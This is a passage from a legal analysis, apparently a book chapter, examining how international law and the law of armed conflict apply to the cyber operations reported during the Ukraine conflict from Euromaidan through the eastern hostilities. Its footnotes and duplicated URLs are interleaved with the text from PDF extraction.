It states that International law, and in particular the Charter of the United Nations, is applicable and is essential to maintaining peace and stability and promoting an open, secure, peaceful and accessible ICT environ- ment.2 However, the better question now concerns exactly how to apply interna- tional law in the cyber domain, and this is not a debate that will be resolved in the near future.3 NATO recognises that international law, including international humanitarian law and the UN Charter, applies in cyberspace.4 It also considers cyber defence to be an intrinsic part of its collective defence task, and has declared that a cyber attack could have the impact as harmful as a conventional armed attack, which could lead to the invocation of Article 5 of the North Atlantic Treaty.5 In this chapter, the author takes as a premise that existing international law applies to cyberspace.
3 Legal Framework for the Conflict in Ukraine Cyber activities conducted as part of a wider conflict are governed by that conflicts legal framework.
This section will describe the wider conflict in Ukraine.
Section 1.4 will examine specific cyber incidents and how they fit into the larger legal puzzle.
1 United Nations, General Assembly, Letter Dated 9 January 2015 from the Permanent Representatives of China, Kazakhstan, Kyr- gyzstan, the Russian Federation, Tajikistan and Uzbekistan to the United Nations Addressed to the Secretary-General, A/69/723, 2015.
An earlier version was submitted in September 2011.
2 United Nations, General Assembly, Report of the Group of Governmental Experts (GGE) on Developments in the Field of Infor- mation and Telecommunications in the Context of International Security, A/68/98, 24 June 2013.
The Group consisted of repre- sentatives of 15 nations, including the United States, Russia, and China.
In their Report of July 2015, the GGE recommended a set of norms of behavior of states in cyberspace.
For an analysis of this report, see Henry Rigas and Tom Minrik.
2015 UN GGE Report: Major Players Recommending Norms of Behaviour, Highlighting Aspects of International Law, INCYDER da- tabase , NATO CCD COE, 31 August 2015, https://ccdcoe.org/2015-un-gge-report-major-players-recommending-norms-be- haviour-highlighting-aspects-international-l-0.html.
3 One of the prominent publications in this field is the Tallinn Manual.
It discusses applicability of international law to cyber warfare, in particular the legal framework for the use of force and the law of armed conflict.
The Tallinn Manual is prepared by an international group of experts on the invitation by the NATO Cooperative Cyber Defence Centre of Excellence, Tallinn, Estonia: Michael N. Schmitt, gen.
ed.,
Tallinn Manual on International Law Applicable to Cyber Warfare (Cambridge: Cam- bridge University Press, 2013).
Currently the Manual is under revision, a project coined Tallinn 2.0, including an analysis of international law applicable to cyber operations below the threshold of armed attack.
4 Wales Summit Declaration, 5 September 2014, para 72.
5 NATOs fundamental principle which states that if a NATO Ally is the victim of an armed attack, each and every other mem- ber of the Alliance will consider this act of violence as an armed attack against all members and will take the actions it deems necessary to assist the Ally attacked, What is Article 5?,
NATO, last updated 18 February 2005, http://www.nato.int/terrorism/ five.htm.
Cyber activities conducted as part of a wider conflict are governed by that con- flicts legal framework.
125 3.1 Euromaidan (November 2013 February 2014) A few weeks before the European Union (EU) Eastern Partnership Summit in Vil- nius, Lithuania, on 27-28 November 2013, during which the Ukraine EU Associa- tion Agreement was to be signed, tensions in Ukraine were rising between those in favour and those opposed to closer relations with the EU.
On 21 November, Presi- dent Viktor Yanukovych decided to abandon the Association Agreement.
This was followed by massive pro-EU demonstrations in Maidan Nezalezhnosti (Indepen- dence Square) in Kyiv.
The clashes with the authorities grew violent.
By mid-Febru- ary, the events had escalated significantly, and had taken over 100 lives.
Before the Euromaidan protests began, tensions in Ukraine had already trig- gered hostile activity in cyberspace.
Politically motivated hacker groups launched Distributed Denial-of-Service (DDoS) and other cyber attacks against a wide range of targets.
On 28 October, the hacker group Anonymous Ukraine started Opera- tion Independence (OpIndependence), favouring Ukraines independence from any external influence, including the EU, NATO, and Russia.6 Operation Indepen- dence included DDoS attacks and website defacements against both Western and Russian sites.
During Euromaidan DDoS attacks and defacements against both sides continued.
Information leaks were used for propaganda purposes.
Operation Independence leaked emails from opposition leader Vitali Klitchko and his political party, the Ukrainian Democratic Alliance for Reforms.
Unknown hackers leaked the U.S. officials phone call which included the infamous statement, fck the EU.7 3.1.1 Legal Analysis The Euromaidan protests were the violent culmination of a conflict between gov- ernment authorities and pro-Western, civilian groups.
Although the controversy was about Ukraines external relations, it was primarily an internal matter between a state and an opposition within that state.
And while the conflict engendered con- siderable violence one only has to look at the number of casualties at that stage, it could not be seen as an armed conflict.
It was not a conflict with armed forces on either side engaged in hostilities [...] similar to an international war.8 The incidents had the character of internal disturbances, civilian uprising, and violent clashes between protesters and police.
3.2 Forming Interim Government and Annexation of Crimea (February March 2014) On 21 February, President Yanukovych fled to Russia, and an Interim Government was formed, uniting the opposition.
Events unfolded rapidly in Crimea.
Pro-Rus- sian gunmen seized key government buildings.
On 1 March, the upper house of the Russian Parliament approved the deployment of troops in Ukraine to protect the 6 Eduard Kovacs.
Anonymous Ukraine Launches OpIndependence, Attacks European Investment Bank, Softpedia, 31 Oc- tober 2013, http://news.softpedia.com/news/Anonymous-Ukraine-Launches-OpIndependence-Attacks-European-Invest- ment-Bank-395790.shtml.
7 Listen to recording here: https://www.youtube.com/watch?vCL_GShyGv3o.
8 ICRC Commentary to Common Article 3 of the 1949 Geneva Conventions.
126 Russian speaking minority.
Russian military forces (coined little green men) were reportedly present in Crimea and blocked the positions of Ukrainian troops.9 A referendum, initiated by the Crimean Parliament, was held in Crimea on 16 March, which declared that 97 of voters supported joining Russia.
Two days later, Presi- dent Vladimir Putin signed a bill declaring Crimea to be part of the Russian Federa- tion.10 These events were crucial in setting the stage for the ongoing conflict in east- ern Ukraine, and led to a dramatic change in relations between Russia and the West.
In cyberspace, there was a simultaneous rise in malicious activity during the mil- itary operations in Crimea.
Operations were conducted against Ukraines mobile infrastructure, the mobile phones of members of the Ukrainian Parliament, and secu- rity communications.
Some traditional methods were used, including the seizure of Ukrtelecom offices and the physical cutting of telephone and internet cables.11 Digital attacks included DDoS targeting Ukrainian, Crimean, NATO, and Russian websites.
The pro-Russian hacker group CyberBerkut was particularly active against NATO,12 while groups like OpRussia and Russian CyberCommand directed their actions against Russian websites.13 Polish, Ukrainian, and Russian websites were also defaced, includ- ing the site of Russia Today, sometimes with historical references to World War II.14 Information leaks continued.
A sensitive conversation between the Estonian Min- ister of Foreign Affairs Urmas Paet and EU High Representative for Foreign Affairs and Security Policy Catherine Ashton was made public, revealing their discussion of information suggesting that both sides, the opposition and the government, were responsible for sniper killings during the Maidan protests.15 Anti-Russian motivated information leaks included the disclosure of the names of members of Berkut, the anti-riot police,16 as well as documents belonging to a Russian defence contractor.17 During this time, it also became clear that the spyware Snake (also known as Ouruborus or Turla) was used against several targets in Ukraine, including the gov- ernment.
Snake is sophisticated malware, known to be in use for at least eight years, whose origin is uncertain, but believed to be developed in Russia.18 9 Vitaly Shevchenko.
Little green men or Russian invaders?,
BBC News, 11 March 2014, http://www.bbc.com/news/ world-europe-26532154.
10 See for an overview of events: Ukraine crisis: timeline, BBC News, http://www.bbc.com/news/world-middle-east-26248275.
11 John Leyden.
Battle apparently under way in Russia-Ukraine conflict, The Register, 4 March 2014, http://www.theregister.
co.uk/2014/03/04/ukraine_cyber_conflict/.
12 Adrian Croft and Peter Apps.
NATO websites hit in cyber attack linked to Crimea tension, Reuters, 16 March 2014, http:// www.reuters.com/article/2014/03/16/us-ukraine-nato-idUSBREA2E0T320140316.
13 Jeffrey Carr.
Rival hackers fighting proxy war over Crimea, Reuters, 25 March 2014, http://edition.cnn.com/2014/03/25/opin- ion/crimea-cyber-war/.
Contrary to what its name suggests, Russian CyberCommand is a hacker group acting against Russian authorities.
14 Darlene Storm.
Political hackers attack Russia, Nazi defacement, threaten US CENTCOM with cyberattack, Computerworld, 3 March 2014, http://www.computerworld.com/article/2476002/cybercrime-hacking/political-hackers-attack-russia--nazi- defacement--threaten-us-centcom-with-cybera.html.
15 Ewen MacAskill.
Ukraine crisis: bugged call reveals conspiracy theory about Kiev snipers, The Guardian, 5 March 2014, http:// www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet.
16 Jeremy Bender.
EXPERT: The Ukraine-Russia Cyberwar Is More Serious And Damaging Than The Annexation Of Crimea, Business Insider, 10 March 2014, http://www.businessinsider.com/ukraine-russia-cyberwar-extremely-serious-2014-3.
17 Bindiya Thomas.
Rosoboronexport Denies Loss of Confidential Data in Cyber Attack, Defense World.net, 25 March 2014, http://www.defenseworld.net/news/10275/Rosoboronexport_Denies_Loss_of_Confidential_Data_in_Cyber_Attack.
VbzA8fmMCXQ.
18 Sam Jones.
Cyber Snake plagues Ukraine networks, Financial Times, 7 March 2014, http://www.ft.com/cms/s/0/615c29ba- a614-11e3-8a2a-00144feab7de.htmlaxzz3gDUpc1wz.
https://en.wikipedia.org/wiki/High_Representative_of_the_Union_for_Foreign_Affairs_and_Security_Policy https://en.wikipedia.org/wiki/High_Representative_of_the_Union_for_Foreign_Affairs_and_Security_Policy http://www.bbc.com/news/world-europe-26532154 http://www.bbc.com/news/world-europe-26532154 http://www.bbc.com/news/world-middle-east-26248275 http://www.theregister.co.uk/2014/03/04/ukraine_cyber_conflict/ http://www.theregister.co.uk/2014/03/04/ukraine_cyber_conflict/ http://www.reuters.com/article/2014/03/16/us-ukraine-nato-idUSBREA2E0T320140316 http://www.reuters.com/article/2014/03/16/us-ukraine-nato-idUSBREA2E0T320140316 http://edition.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://edition.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://www.computerworld.com/article/2476002/cybercrime-hacking/political-hackers-attack-russia--nazi-defacement--threaten-us-centcom-with-cybera.html http://www.computerworld.com/article/2476002/cybercrime-hacking/political-hackers-attack-russia--nazi-defacement--threaten-us-centcom-with-cybera.html http://www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet http://www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet http://www.businessinsider.com/ukraine-russia-cyberwar-extremely-serious-2014-3 http://www.defenseworld.net/news/10275/Rosoboronexport_Denies_Loss_of_Confidential_Data_in_Cyber_Attack.
VbzA8fmMCXQ http://www.defenseworld.net/news/10275/Rosoboronexport_Denies_Loss_of_Confidential_Data_in_Cyber_Attack.
VbzA8fmMCXQ http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.htmlaxzz3gDUpc1wz http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.htmlaxzz3gDUpc1wz 127 3.2.1 Legal Analysis Although the UN and EU expressed their grave concerns about Russias annexation of Crimea, and NATO called it a violation of international law,19 Russia defended its actions as the lawful protection of the Russian speaking minority in Crimea.
States have the right to act when necessary to rescue their nationals abroad.
However, in this case, there were no indications that native Russians were in danger.
Even if that were the case, it could only have justified their evacuation, not the occupation of the entire peninsula.20 A second possible justification for Russian intervention was an invitation by the Ukrainian authorities, i.e.
President Yanukovych.
But, after Yanu- kovych was replaced by the Interim Government, his actions could not be attributed to Ukraine anymore.21 A third possible justification is the right to self-determina- tion for the people of Crimea.
However, while this right exists for peoples within the existing borders of a state, it does not allow for a complete political separation.22 Russias annexation of Crimea was a breach of international law by violating the territorial integrity of Ukraine.
Russia also breached the 1994 Budapest Memorandum and the 1997 Treaty on Friendship, Cooperation, and Partnership.23 The Black Sea Fleet Status of Forces Agreement allowed for a Russian mili- tary presence in Crimea, but not at the scale as was the case in March 2014.
But was this armed intervention also a use of force, a violation of Article 2(4) of the UN Charter?24 Moving armed forces to the territory of another state, without the consent of that state, should definitely be considered a use of force.25 That is exactly what happened: troops belonging to the Russian Black Sea Fleet in Crimea left their bases, and there were clear indications that other Russian 19 [A] spokesman for UN Secretary-General Ban Ki-moon delivered a statement saying that he was gravely concerned about the deterioration of the situation in Ukraine and planned to speak shortly with Putin.
It also called for full respect for and preservation of the independence, sovereignty and territorial integrity of Ukraine and demanded immediate restoration of calm and direct dialogue between all concerned.
Representative of the Union for Foreign Affairs and Security Policy Cathe- rine Ashton stated that the EU deplores what it called Russias decision to use military action in Ukraine, describing it as an unwarranted escalation of tensions.
She called on all sides to decrease the tensions immediately through dialogue, in full respect of Ukrainian and international law.
She added that: The unity, sovereignty and territorial integrity of Ukraine must be respected at all times and by all sides.
Any violation of these principles is unacceptable.
North Atlantic Council condemned what it called Russias military escalation in Crimea and called it a breach of international law.
International reactions to the annexation of Crimea by the Russian Federation, Wikipedia, accessed 1 August 2015, https://en.wikipedia.org/wiki/Interna- tional_reactions_to_the_annexation_of_Crimea_by_the_Russian_Federation.
20 See also: Marc Weller, in BBC News, Analysis: Why Russias Crimea move fails legal test, BBC News, 7 March 2014, http://www.
bbc.com/news/world-europe-26481423.
21 See also: Christian Marxsen, The Crimea Crisis An International Law Perspective, Zeitschrift fr auslndisches ffentliches Recht und Vlkerrecht (Heidelberg Journal of International Law) 74/2 (2014): 367-391 Remy Jorritsma.
Ukraine Insta-Sympo- sium: Certain (Para-)Military Activities in the Crimea: Legal Consequences for the Application of International Humanitarian Law, Opinio Juris, 9 March 2014, http://opiniojuris.org/2014/03/09/ukraine-insta-symposium-certain-para-military-activi- ties-crimea-legal-consequences-application-international-humanitarian-law/ Ashley Deeks.
Heres What International Law Says About Russias Intervention in Ukraine, New Republic, 2 March 2014, http://www.newrepublic.com/article/116819/inter- national-law-russias-ukraine-intervention.
22 Marxsen.
Crimea Crisis, 14 Jorritsma.
Legal Consequences.
23 The 1994 Budapest memorandum was intended to provide Ukraine security in exchange of accession to the Treaty on the Non-Proliferation of Nuclear Weapons.
Russia, the United States, and the United Kingdom committed to respect the independ- ence and sovereignty and the existing borders of Ukraine.
The 1997 Treaty on Friendship, Cooperation, and Partnership between Russia and Ukraine was to guarantee the inviolability of the borders between both states.
See also: Marxsen, Crimea Crisis, 4-5.
24 Charter of the United Nations, San Francisco, 26 June 1945, Article 2(4).
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25 See also: Deeks.
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25 See also: Deeks.
What International Law Says.
Russias annexation of Crimea was a breach of international law.
https://en.wikipedia.org/wiki/UN_Secretary-General https://en.wikipedia.org/wiki/Ban_Ki-moon https://en.wikipedia.org/wiki/High_Representative_of_the_Union_for_Foreign_Affairs_and_Security_Policy https://en.wikipedia.org/wiki/Catherine_Ashton https://en.wikipedia.org/wiki/Catherine_Ashton https://en.wikipedia.org/wiki/International_law https://en.wikipedia.org/wiki/International_reactions_to_the_annexation_of_Crimea_by_the_Russian_Federation https://en.wikipedia.org/wiki/International_reactions_to_the_annexation_of_Crimea_by_the_Russian_Federation http://www.newrepublic.com/article/116819/international-law-russias-ukraine-intervention http://www.newrepublic.com/article/116819/international-law-russias-ukraine-intervention 128 troops were sent to Crimea to secure strategic sites, block Ukrainian troops, and essentially force them to leave the peninsula.
States can take measures in response to violations of international law.
In this case the European Union and the United States imposed sanctions on Russia.
Could Russias actions be seen as an armed attack, in which case Ukraine would have had the right to use force in self-defence?26 Like use of force, armed attack is not defined in the UN Charter in essence, a state determines on a case-by-case basis whether it considers an attack against it as an armed attack.
A violent attack with military forces resulting in damage and casualties would certainly be seen as an armed attack.
In the case of Crimea, however, hardly a shot was fired.
On the other hand, it is difficult to argue that Ukraine would not have the right to use force to drive Russian troops out of Crimea.27 Irrespective this analysis of the legal basis of the intervention in Crimea, what would be the legal regime for the operations conducted by the parties to the con- flict, including the cyber operations?
Did the situation qualify as an international armed conflict where the Law of Armed Conflict applies?
The criterion here is that it relates to hostilities between nation-states.
In Crimea, however, the situation was unclear.
Firstly, there was no fighting, although the threshold for armed is low.28 Secondly, Russia denied the troops present were theirs and referred to them as local self-defence groups.
However, reports indicated the active involvement of Russian troops29 and, eventually, Putin admitted that Russian troops were present.30 Even in the event that only local forces were active, a situation of international armed conflict could still prevail if they were acting under Russias control.
The Law of Armed Conflict also applies in a situation of a total or partial occupation, even if the occupation did not meet armed resistance.31 Occupation is a hostile substitution of territorial power and authority.32 This is precisely the case in Crimea, where Russia exercises territorial control without the consent of the Ukrainian Government.
26 Charter of the United Nations, Article 51.
27 Deeks.
What International Law Says.
28 Any difference arising between two States and leading to the intervention of members of the armed forces is an armed conflict within the meaning of Article 2, even if one of the Parties denies the existence of a state of war.
It makes no difference how long the conflict lasts, or how much slaughter takes place.
The respect due to the human person as such is not measured by the number of victims, ICRC Commentary to the Geneva Conventions of 1949, 20-21.
29 For example: Ukrainian and Russian troops in standoff at Crimean military base As it happened, The Guardian, 3 March 2014, http://www.theguardian.com/world/2014/mar/02/ukraine-warns-russia-crimea-war-live and Russian troops storm Ukrainian bases in Crimea, BBC News, 22 March 2014, http://www.bbc.com/news/world-europe-26698754 30 Putin Admits Russian Troop Role in Crimea Annexation, Voice of America, 17 November 2014, http://www.voanews.com/ content/putin-admits-russian-troop-role-in-crimea-annexation/2523186.html Putin admits Russian forces were deployed to Crimea, Reuters, 17 April 2014, http://uk.reuters.com/article/2014/04/17/russia-putin-crimea-idUKL6N0N921H20140417.
31 Geneva Conventions, 12 August 1949, Common Article 2.
32 Hague Regulations: Regulations concerning the Laws and Customs of War on Land, 18 October 1907, Article 42.
See also: Jorritsma, Legal Consequences.
The Law of Armed Conflict applies in a situation of total or partial occupation.
http://www.theguardian.com/world/2014/mar/02/ukraine-warns-russia-crimea-war-live 129 3.3 Hostilities in Eastern Ukraine (April 2014 Present) Following the annexation of Crimea, the worlds attention was quickly drawn to the onset of hostilities in eastern Ukraine.
Protesters from the Russian speaking minority in the cities of Donetsk, Luhansk, and Kharkiv occupied government buildings and called for independence.33 Pro-Russian separatist groups emerged.
The Ukrainian authorities responded by starting an anti-terrorist operation.
On 17 April, the first violent deaths occurred in eastern Ukraine in the Black Sea city of Odessa, 42 people died in clashes.
On 11 May, Donetsk and Luhansk declared themselves to be independent republics.
Petro Poroshenko was elected President of Ukraine on 25 May, but this poll could not be held in large parts of the conflict-ridden east.
A cease-fire agreement,34 signed in Minsk on 5 September 2014, collapsed when fighting started again in January 2015.
A second agreement signed in the capital of Belarus on 11 February, Minsk II, provided for a ceasefire, the withdrawal of heavy weapons from the front line, a release of prisoners of war, and constitutional reform in Ukraine.35 This sec- ond agreement has also been violated, although currently, in September 2015, the situation seems to have calmed down.
NATO reported the active involvement of Russian troops in eastern Ukraine,36 but Russia has consistently denied involvement.
Cyber operations have continued throughout the conflict.
In May 2014, cyber means were used in an attempt to disrupt the presidential elections, including an effort to falsify the outcome.
CyberBerkut may have taken part and some analysts believe that Russia was behind it.37 In August 2014, hackers conducted a DDoS attack against Ukraines election commission website, just prior to the parliamentary polls.38 There are numerous publicly-known examples of intelligence gathering through cyber means, all of which reportedly have a Russian connection.
In the Summer of 2014, the Blackenergy spyware was used against Ukrainian government institu- tions.39 In August, the Snake malware was employed against the Ukrainian Prime Ministers Office, as well as a number of foreign embassies.40 In April 2015, Looking- lass reported on a Russian campaign to extract classified documents from Ukrainian military and law enforcement agencies in an effort to support pro-Russian military 33 Ukraine crisis: Timeline, BBC News, accessed 1 August 2015, http://www.bbc.com/news/world-middle-east-26248275.
34 Protocol on the results of consultations of the Trilateral Contact Group, Minsk, 5 September 2014, http://mfa.gov.ua/en/news- feeds/foreign-offices-news/27596-protocolon-the-results-of-consultations-of-the-trilateral-contact-group-minsk-05092014.
35 Ukraine ceasefire: New Minsk agreement key points, BBC News, 12 February 2015, http://www.bbc.com/news/world-eu- rope-31436513.
36 See for example: NATO Commander: Conditions in Eastern Ukraine Have to Change, OPB, 6 February 2015, http://www.
opb.org/news/article/npr-nato-commander-conditions-in-eastern-ukraine-have-to-change/, and Nato urges Russia to stop fuelling Ukraine conflict, The Irish Times, 15 April 2015, http://www.irishtimes.com/news/world/europe/nato-urges-russia- to-stop-fuelling-ukraine-conflict-1.2176718.
37 Mark Clayton.
Ukraine election narrowly avoided wanton destruction from hackers (video), The Christian Science Monitor, 17 June 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruc- tion-from-hackers-video.
38 Hackers attack Ukraine election website, Presstv, 25 October 2014, http://www.presstv.ir/detail/2014/10/25/383623/ukrai- nes-election-website-hacked/.
See also: Vitaly Shevchenko, Ukraine conflict: Hackers take sides in virtual war, BBC News, 20 December 2014, http://www.bbc.com/news/world-europe-30453069.
39 David Gilbert.
BlackEnergy Cyber Attacks Against Ukrainian Government Linked to Russia, International Business Times, 26 September 2014, http://www.ibtimes.co.uk/blackenergy-cyber-attacks-against-ukrainian-governm)ent-linked-russia-1467401.
40 Sam Jones.
Russia-linked cyber attack on Ukraine PMs office, CNBC, 8 August 2014, http://www.cnbc.com/id/101905588.
http://www.bbc.com/news/world-middle-east-26248275 http://mfa.gov.ua/en/news-feeds/foreign-offices-news/27596-protocolon-the-results-of-consultations-of-the-trilateral-contact-group-minsk-05092014 http://mfa.gov.ua/en/news-feeds/foreign-offices-news/27596-protocolon-the-results-of-consultations-of-the-trilateral-contact-group-minsk-05092014 http://www.bbc.com/news/world-europe-31436513 http://www.bbc.com/news/world-europe-31436513 http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video http://www.presstv.ir/detail/2014/10/25/383623/ukraines-election-website-hacked/ http://www.presstv.ir/detail/2014/10/25/383623/ukraines-election-website-hacked/ http://www.ibtimes.co.uk/blackenergy-cyber-attacks-against-ukrainian-governm)ent-linked-russia-1467401 http://www.cnbc.com/id/101905588 130 operations in Ukraine.41 ISight Partners reported that Russian Sandworm hackers used a zero-day vulnerability to hack NATO and Ukraine in a cyber espionage campaign.42 The list of targets was not confined to Ukrainian sites.
In January 2015, CyberBerkut claimed responsibility for a cyber attack on German Government sites, demanding that Germany end its support to the Ukrainian government.43 On the pro-Ukraine side, the Ukrainian Cyber Troops reportedly claimed to have hacked into Russian interior ministry servers and CCTV cameras in separatist-con- trolled eastern Ukraine.44 3.3.1 Legal Analysis The International Committee of the Red Cross (ICRC) has characterised the situa- tion in eastern Ukraine as a non-international armed conflict,45 a situation in which hostilities occur between governmental armed forces and non-governmental organ- ised armed groups, or between such organised armed groups.
The two requirements are a certain degree of organisation of the non-governmental groups and the exis- tence of protracted armed violence.46 The conflict in Eastern Ukraine does in fact reach a high level of violence over a longer period of time, and the separatists do in fact have a high degree of organisation.
Although Russia has consistently denied involvement, there continues to be widespread belief to the contrary, suggesting that Moscow actively supports the Donetsk and Luhansk separatists, including by sending Russian military forces as volunteers to the area.
If Russia actively participates or exercises overall control over the separatists, the conflict could be considered an international armed con- flict.
To meet the criterion of overall control, a state must not only finance, train, equip, or provide operational support to local forces, but also have a role in organ- ising, coordinating, and planning their operations.47 However, for the purpose of this chapter, the conflict in eastern Ukraine is con- sidered to be a non-international armed conflict.
This analysis results in a situation where different legal regimes apply simultane- 41 Aarti Shahani.
Report: To Aid Combat, Russia Wages Cyberwar Against Ukraine, NPR, 28 April 2015, http://www.npr.org/ sections/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine.
42 Ellen Nakashima.
Russian hackers use zero-day to hack NATO, Ukraine in cyber-spy campaign, The Washington Post, 13 October 2014, http://www.washingtonpost.com/world/national-security/russian-hackers-use-zero-day-to-hack-nato-ukrai- ne-in-cyber-spy-campaign/2014/10/13/f2452976-52f9-11e4-892e-602188e70e9c_story.html.
43 Michelle Martin and Erik Kirschbaum.
Pro-Russian group claims cyber attack on German government websites, Reuters, 7 January 2015, http://www.reuters.com/article/2015/01/07/us-germany-cyberattack-idUSKBN0KG15320150107.
44 The Daily Beast: Ukraines lonely cyber warrior, KyivPost, 18 February 2015, http://www.kyivpost.com/content/ukraine-ab- road/the-daily-beast-ukraines-lonely-cyber-warrior-381094.html, and Vitaly Shevchenko, Ukraine conflict: Hackers take si- des in virtual war, BBC News, 20 December 2014, http://www.bbc.com/news/world-europe-30453069.
45 Fighting in eastern Ukraine continues to take its toll on civilians, and we urge all sides to comply with international human- itarian law, otherwise known as the law of armed conflict, said Mr Stillhart.
These rules and principles apply to all parties to the non-international armed conflict in Ukraine, and impose restrictions on the means and methods of warfare that they may use [in Ukraine]: ICRC calls on all sides to respect international humanitarian law, ICRC News Release 14/125, 23 July 2014.
Non-international armed conflicts are armed conflicts not of an international character occurring in the territory of one of the High Contracting Parties, Geneva Conventions, Common Article 3.
46 The criterion protracted armed violence stems from Tadi, Decision on the Defence Motion for Interlocutory Appeal, para 70, International Criminal Tribunal for the Former Yugoslavia, 2 October 1995.
47 Overall control is addressed in: Tadi, Appeals Chamber judgment, International Criminal Tribunal for the Former Yugosla- via, 15 July 1999, para 132, 137, 141, and 145.
See also: Tallinn Manual, 79-82.
http://www.npr.org/sections/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine http://www.npr.org/sections/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine http://www.washingtonpost.com/world/national-security/russian-hackers-use-zero-day-to-hack-nato-ukraine-in-cyber-spy-campaign/2014/10/13/f2452976-52f9-11e4-892e-602188e70e9c_story.html http://www.washingtonpost.com/world/national-security/russian-hackers-use-zero-day-to-hack-nato-ukraine-in-cyber-spy-campaign/2014/10/13/f2452976-52f9-11e4-892e-602188e70e9c_story.html http://www.reuters.com/article/2015/01/07/us-germany-cyberattack-idUSKBN0KG15320150107 131 ously.
The Law of Armed Conflict pursuant to international armed conflicts applies to the occupation of Crimea.
Eastern Ukraine is a national issue in which the law pursuant to non-international armed conflicts applies.
There is a crucial difference.
During an international armed conflict, the Law of Armed Conflict applies to the full extent during a non-international armed conflict, minimum rules apply.48 An example is that in an international armed conflict, combatants captured by the enemy are entitled to Prisoner of War (PoW) status.
In a non-international armed conflict, the combatants status is unknown belligerents have to be treated well, but the extensive rules that protect PoWs do not apply.
However, many rules of inter- national armed conflict are customary law and apply also in a non-international armed conflict, as we will see with respect to cyber operations.
4 Legal Implications for Cyber Operations in Ukraine The conflict started as an internal matter, the protests at Maidan Square, to an unlawful intervention and occupation of Crimea, culminating in the non-interna- tional armed conflict in eastern Ukraine.
During the first phase, the Euromaidan protests, the cyber incidents were a law enforcement issue.
For example, the defacement of websites and DDoS attacks restricting the use of internet services violated Ukrainian criminal law and could have been prosecuted in Ukrainian courts.49 Malicious cross-border cyber activ- ities, involving both Ukraine and other countries, would fall under the criminal jurisdiction of Ukraine and the affected countries.
During the occupation of Crimea and the armed conflict in eastern Ukraine, the Law of Armed Conflict applies.
It regu- lates the conduct of all actors in the con- flict, including the cyber actors.
Hereafter, first the status of the different cyber actors will be discussed after that the cyber operations we have seen in the Ukraine conflict will be evaluated from the perspective of the Law of Armed Conflict.
4.1 Actors in Cyberspace In an international armed conflict, belligerents that qualify as combatants enjoy combat- ant immunity, meaning they cannot be prosecuted for taking part in hostilities (except 48 These minimum rules are formulated in Common Article 3 of the Geneva Conventions, and in Additional Protocol II to the Geneva Conventions.
The rules laid down in that protocol apply to a conflict within a state that is party to the Protocol between the armed forces of that state and dissident armed forces or organised armed groups that control sufficient territory so as to enable them to carry out sustained and concerted military operations, Protocol Additional to the Geneva Conventions of 12 August 1949, and relating to the Protection of Victims of Non-International Armed Conflicts (Protocol II), 8 June 1977, Article 1(1).
Ukraine is party to Additional Protocol II, and the separatists do control significant territory.
49 Ukraine is Party to the Convention on Cybercrime (Budapest, 2001).
The Convention aims to harmonise cybercrime legisla- tion and facilitate information exchange and international cooperation in the area of prosecution of cybercrimes.
States that are party to the convention are obliged to incorporate certain violations in their national laws: illegal access, illegal intercep- tion, data interference, system interference, and misuse of devices.
During the Euromaidan protests, cyber incidents were a law enforcement issue.
132 for war crimes) and, on capture, have PoW status.
These rules also apply during occu- pation, as in Crimea.
Most cyber actors in Crimea were nominally non-state actors, for example the pro-Russian hacker group CyberBerkut.
If such a group were an integrated part of Russias military forces, they would be combatants.
If not, they could nevertheless be considered combatants if they were part of an organised armed group, belonging to a party to the conflict, when they fulfil the following conditions: (a) being commanded by a person responsible for his subordinates (b) having a fixed distinctive sign recognisable at a distance (c) carrying arms openly and (d) conducting their operations in accor- dance with the laws and customs of war.50 These criteria are important to distinguish combatants from civilians.
It is unlikely that non-state hacker groups, also those active in the Ukraine crisis, meet all these criteria, especially when they are only virtually organised, only in contact through the internet.
Hackers or hacker groups who are non-combatants are to be regarded civilians.
However, if they are directly participating in hostilities, they lose their protection as civilians and can be targeted by the opposing party.
Three criteria have to be met to be regarded civilians directly participating in hostilities.
51 First, there has to be a certain amount of harm the act must be likely to adversely affect the military operations or military capacity of [the adversary] or [] to inflict death, injury or destruction on persons or objects protected against direct attack.52 Second, there has to be a causal connexion between the acts and the harm inflicted.
Third, there has to be a bellig- erent nexus, meaning that the operations must be intended to affect the adversarys military operations.
Harm can also be inflicted by cyber operations, and does not nec- essarily have to include physical damage.
In the case of CyberBerkut and other active hacker groups the effects probably did not reach the threshold of harm.
In non-international armed conflicts, like in eastern Ukraine, combatant immunity does not exist.
Whether or not belligerents especially non-state armed groups have immunity, will be determined based on domestic law.
Certain cyber operations will be illegal based on domestic law.
Civilians have protected status, but as in international armed conflicts, when they are directly participating in hostilities they lose that protected status.
4.2 Information Operations During the conflict in Ukraine, cyber was mainly used for information warfare and intelligence gathering not to damage cyber or critical infrastructure.
Irrespective their effects, cyber operations are very often called cyber attack.
It is important to note that, in the context of international and non-international armed conflicts, attack has a very specific meaning.
Attacks means acts of violence against the adversary, whether in offence or in defence.53 Whether or not an operation qualifies as attack is crucial 50 Geneva Convention (III), 12 August 1949, Article 4, para A(2).
51 ICRC Interpretive guidance on the notion of Direct Participation in hostilities under international humanitarian law, May 2009.
52 ICRC Interpretive guidance, 47.
53 Protocol Additional to the Geneva Conventions of 12 August 1949, and relating to the Protection of Victims of International Armed Conflicts (Protocol I), 8 June 1977, Article 49(1).
133 because the law imposes prohibitions and restrictions with respect to attacks, for example the prohibition to attack civilians, civilian objects, and medical installations, and the requirement to take precautions before conducting an attack.
Not every cyber operation that affects the adversary is an attack.
A cyber operation that constitutes an act of violence however, is an attack.
